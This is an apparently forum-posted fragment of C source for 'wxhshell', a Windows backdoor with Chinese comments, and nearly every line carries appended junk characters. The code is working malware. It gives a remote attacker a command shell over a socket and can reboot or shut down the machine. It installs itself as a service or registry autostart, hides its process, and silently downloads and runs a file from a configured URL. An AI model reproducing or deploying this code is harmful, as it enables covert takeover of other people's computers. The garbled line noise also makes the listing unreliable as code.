  else { 96pk[5lj{?  
x8?x/xE  
    switch(cmd[0]) { +K%pxuVh  
  7grt4k  
  // 帮助 LuP?$~z  
  case '?': {  (X(1kj3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XDkS ^9  
    break; .L7Yf+yFg  
  } E8-fW\!F  
  // 安装 NdsX*o@a  
  case 'i': { X#DL/#z k  
    if(Install()) }B"|z'u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3G%wZ,)C  
    else >H}jR[H'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _7lt(f[S  
    break; LgP>u?]n  
    } lMBX!9z  
  // 卸载 ^p 2.UW  
  case 'r': { > X[|c"l.  
    if(Uninstall()) )d}H>Qx=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _k_>aG23  
    else Yz=h"Zr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d $fvg8^  
    break; "Su b4F`  
    } E+}GxFG-:  
  // 显示 wxhshell 所在路径 &@YFje6Lcm  
  case 'p': { F1gt3 ae  
    char svExeFile[MAX_PATH]; e^k!vk-SLF  
    strcpy(svExeFile,"\n\r"); =`qRu  
      strcat(svExeFile,ExeFile); 1l/AKI(!  
        send(wsh,svExeFile,strlen(svExeFile),0); W/ g|{t[  
    break; #puQi  
    } , Aq9fyC%  
  // 重启 :7p9t.R<$h  
  case 'b': { C-llq`(d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J| SwQE~  
    if(Boot(REBOOT)) {y,nFxLq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u64 @"P  
    else { U^%9 )4bj  
    closesocket(wsh); AL>c:K)qO  
    ExitThread(0); j4;Du>obQ  
    } )@}A r  
    break; _*s~`jn{H  
    } [IiwNqZ[~  
  // 关机 h&lyxYZ+T$  
  case 'd': { >M?H79fF2s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HSNOL  
    if(Boot(SHUTDOWN)) i=oTg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }>2t&+v+  
    else { w6vLNX  
    closesocket(wsh); L-#e?Y}$J  
    ExitThread(0); -i#J[>=w{C  
    } }@d>,1DU  
    break; {!L=u/qs"  
    } gs?8Wzh90*  
  // 获取shell *kP;{Cb`  
  case 's': { qQ^d9EK'?~  
    CmdShell(wsh); 'X9AG6K1  
    closesocket(wsh); HLVQ7  
    ExitThread(0); $=/rGpAk  
    break; >K\3*]>J3  
  } {$;2 HbM(  
  // 退出 8qn 9|  
  case 'x': { tl|ijR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); * -0>3  
    CloseIt(wsh); Q|?'(J+  
    break; 13H;p[$  
    } oz LH]*  
  // 离开 >Iuzk1'S  
  case 'q': { rWA6X DM7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IroPx#s:i  
    closesocket(wsh); kVd5,Qd  
    WSACleanup(); FH.f- ZU  
    exit(1); u^t$ cLIZ  
    break; 7'z(~3D  
        } p!_[qs  
  } n+2%tW  
  } q]CeD   
Zae.MO^C!  
  // 提示信息 S#tY@h@XV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Ur7# h5  
} ! D$Ooamq  
  } GF*>~_Yr  
eTT) P  
  return; b]T@gJ4H=  
} 802H$P^ps  
?E6^!4=,  
// shell模块句柄 eNbpwne  
int CmdShell(SOCKET sock) Lkn4<'un  
{ V,Q4n%h1.  
STARTUPINFO si; J? .F\`N)  
ZeroMemory(&si,sizeof(si)); \9`#]#1bx5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8#w)X/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #Y2i*:<  
PROCESS_INFORMATION ProcessInfo; _|A+ ) K  
char cmdline[]="cmd"; LBat:7aH>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;'0=T0\  
  return 0; 1'JD=  
} E"6X|I n  
)"| ||\Iv  
// 自身启动模式 B2Z_]q$n*  
int StartFromService(void) tlQC6Fb#  
{ ; b*i3*!g  
typedef struct ^AL2H'  
{ @}&_Dvf  
  DWORD ExitStatus; W3GNA""O  
  DWORD PebBaseAddress; 2:SO_O4C  
  DWORD AffinityMask; /&^W#U$4  
  DWORD BasePriority; "g0(I8  
  ULONG UniqueProcessId; y t5H oy  
  ULONG InheritedFromUniqueProcessId; g9~]s 9  
}   PROCESS_BASIC_INFORMATION; /TV= $gB`  
_MuZ4tc  
PROCNTQSIP NtQueryInformationProcess; 6;iJ*2f5V  
E=$p^s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ) #+^ sAO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H C0w;MG)  
y(i Y  
  HANDLE             hProcess; -oP'4QVb  
  PROCESS_BASIC_INFORMATION pbi; G^;>8r  
Lja7   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WQ6"0*er  
  if(NULL == hInst ) return 0; 2oCkG~j  
4a''Mi`u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m@Rtlb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'xE _Cj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S1S;F9F  
C\*4q8(  
  if (!NtQueryInformationProcess) return 0; <hx+wrv  
!mMpb/&&S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [eUftr9&0  
  if(!hProcess) return 0; SF[FmN!^^  
Qk1xUE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~Z'w)!h  
= ieag7!  
  CloseHandle(hProcess); 6 #@ f'~s  
O"G >wv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 04U")-\O  
if(hProcess==NULL) return 0; 7msAhz  
/Q{P3:k  
HMODULE hMod; .iD*>M:W  
char procName[255]; p< "3&HA  
unsigned long cbNeeded; tptN6Isuh  
}Gyqq6Aeb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JM- t<.  
kOo~%kcQ'  
  CloseHandle(hProcess); U.!lTLjfLz  
?>"Yr,b?  
if(strstr(procName,"services")) return 1; // 以服务启动 d5 7i)=  
kn"(mJe$  
  return 0; // 注册表启动 !V 2/A1?  
} E.|-?xQ6  
F# T 07<  
// 主模块 6(d}W2GP  
int StartWxhshell(LPSTR lpCmdLine) b` Hz$8  
{ 29CINC  
  SOCKET wsl; ,JU@|`  
BOOL val=TRUE; %\|'%/"`2(  
  int port=0; Bw%Qbs0Q  
  struct sockaddr_in door; OCZaQ33  
w@JKl5  
  if(wscfg.ws_autoins) Install(); p~ HW5\4  
I$N8tn+E  
port=atoi(lpCmdLine); ]0hrRA`  
!l]dR@e  
if(port<=0) port=wscfg.ws_port; EI!6MC)  
9$`lIy@B  
  WSADATA data; xk&Jl#v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !aO` AC=5u  
b)(?qfXWP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5p.rwNE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r'QnX;99T  
  door.sin_family = AF_INET; 2{|h8oz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4jD2FFG- G  
  door.sin_port = htons(port); cuy1DDl  
,|&9M^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ys 5&PZg*  
closesocket(wsl); .{y uo{u  
return 1; ~3uP6\F  
} Jgnhn>dHe  
da)NK!  
  if(listen(wsl,2) == INVALID_SOCKET) { >4t+:Ut:  
closesocket(wsl); 8\:NMP8W\  
return 1; 0RoU}r@z4  
} 5mb]Q)f9-  
  Wxhshell(wsl); L:@7tc.  
  WSACleanup(); [l,Ei?  
g<~Cpd  
return 0; j~*L~7  
;G%R<Z  
} )"pF R4  
g)-bW+]q  
// 以NT服务方式启动 JQ"U4GVp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BCA&mi3q  
{ z[Xd%mhjO  
DWORD   status = 0; 812$`5l  
  DWORD   specificError = 0xfffffff; w K}T`*k  
<>Hj ;q5p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S\;V4@<Kn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1')%`~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %f]:I  
  serviceStatus.dwWin32ExitCode     = 0; L*:jXmUM_~  
  serviceStatus.dwServiceSpecificExitCode = 0; r(P(Rj2~  
  serviceStatus.dwCheckPoint       = 0; |j7,Mu+  
  serviceStatus.dwWaitHint       = 0; t2)rUWg  
8SGo9[U2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w4gJoxY-`  
  if (hServiceStatusHandle==0) return; /{&tY: ;m  
4M2j!Sw  
status = GetLastError(); % yw?s0  
  if (status!=NO_ERROR) B8}Nvz /  
{ qw^uPs7Uw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `7r@a  
    serviceStatus.dwCheckPoint       = 0; cH&J{WeZa  
    serviceStatus.dwWaitHint       = 0; ZusEfh?  
    serviceStatus.dwWin32ExitCode     = status; #~ )IJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; H5Io{B%=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ys\Wj%6A  
    return; WHj'dodS  
  } VcXq?f>\  
BW$"`T@c6~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =Lf,?"S  
  serviceStatus.dwCheckPoint       = 0; uo@n(>}EL  
  serviceStatus.dwWaitHint       = 0; TIQkW,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tg<EY!WY  
} *=V~YF:Qb  
UdpF@Q  
// 处理NT服务事件,比如:启动、停止 ,)vDeU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zdYy^8V|z  
{ `ojoOB^L  
switch(fdwControl) &B6Ep6QS  
{ Hl{S]]z  
case SERVICE_CONTROL_STOP: ;)D];u|_  
  serviceStatus.dwWin32ExitCode = 0; ,[P{HrHx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ww], y@da  
  serviceStatus.dwCheckPoint   = 0; ?#}N1k\S  
  serviceStatus.dwWaitHint     = 0; \1^^\G>H5  
  { R#%(5-Zu#R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iO|se:LY<  
  } .\)U@L~  
  return; )b)-ZS7  
case SERVICE_CONTROL_PAUSE: w9< R#y[A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H9YW  
  break; A#EDk U,  
case SERVICE_CONTROL_CONTINUE: t gI{`jS%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sn obT Q  
  break; ]:XoRyIZ1[  
case SERVICE_CONTROL_INTERROGATE: &,{fw@#)_  
  break; ]>=}*=  
}; 1v.c 6~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bk;?9%TW  
} :~Wrf8 UQ  
I|gB@|_~  
// 标准应用程序主函数 ~*z% e*EL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bDL,S?@  
{ Q(wx nm  
2 ^h27A  
// 获取操作系统版本 hT`J1nNt  
OsIsNt=GetOsVer(); 5:Z0Pt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [j=yMP38!:  
lr>oYS0  
  // 从命令行安装 RJ  8+h  
  if(strpbrk(lpCmdLine,"iI")) Install(); e7Xeo+/  
Pg,b-W?n*  
  // 下载执行文件 KL1/^1  
if(wscfg.ws_downexe) { We$:&K0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BTGv N %  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7K,-01-:  
} m0ER@BXRn  
eKE#Yr d=x  
if(!OsIsNt) { HHDl8lo  
// 如果时win9x,隐藏进程并且设置为注册表启动 G&D7a/G\  
HideProc(); -]/I73!b  
StartWxhshell(lpCmdLine); 0m%|U'm|j  
} UQ)W%Y;[0  
else OK[T3/v,  
  if(StartFromService()) mn, =i  
  // 以服务方式启动 K28+]qy[  
  StartServiceCtrlDispatcher(DispatchTable); XewVcRo  
else "& ])lz[u  
  // 普通方式启动 ]zj9A]i:a  
  StartWxhshell(lpCmdLine); @e(o129  
8ja$g,  
return 0; Zn&, t &z  
}
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只看该作者 1 发表于: 2006-10-10
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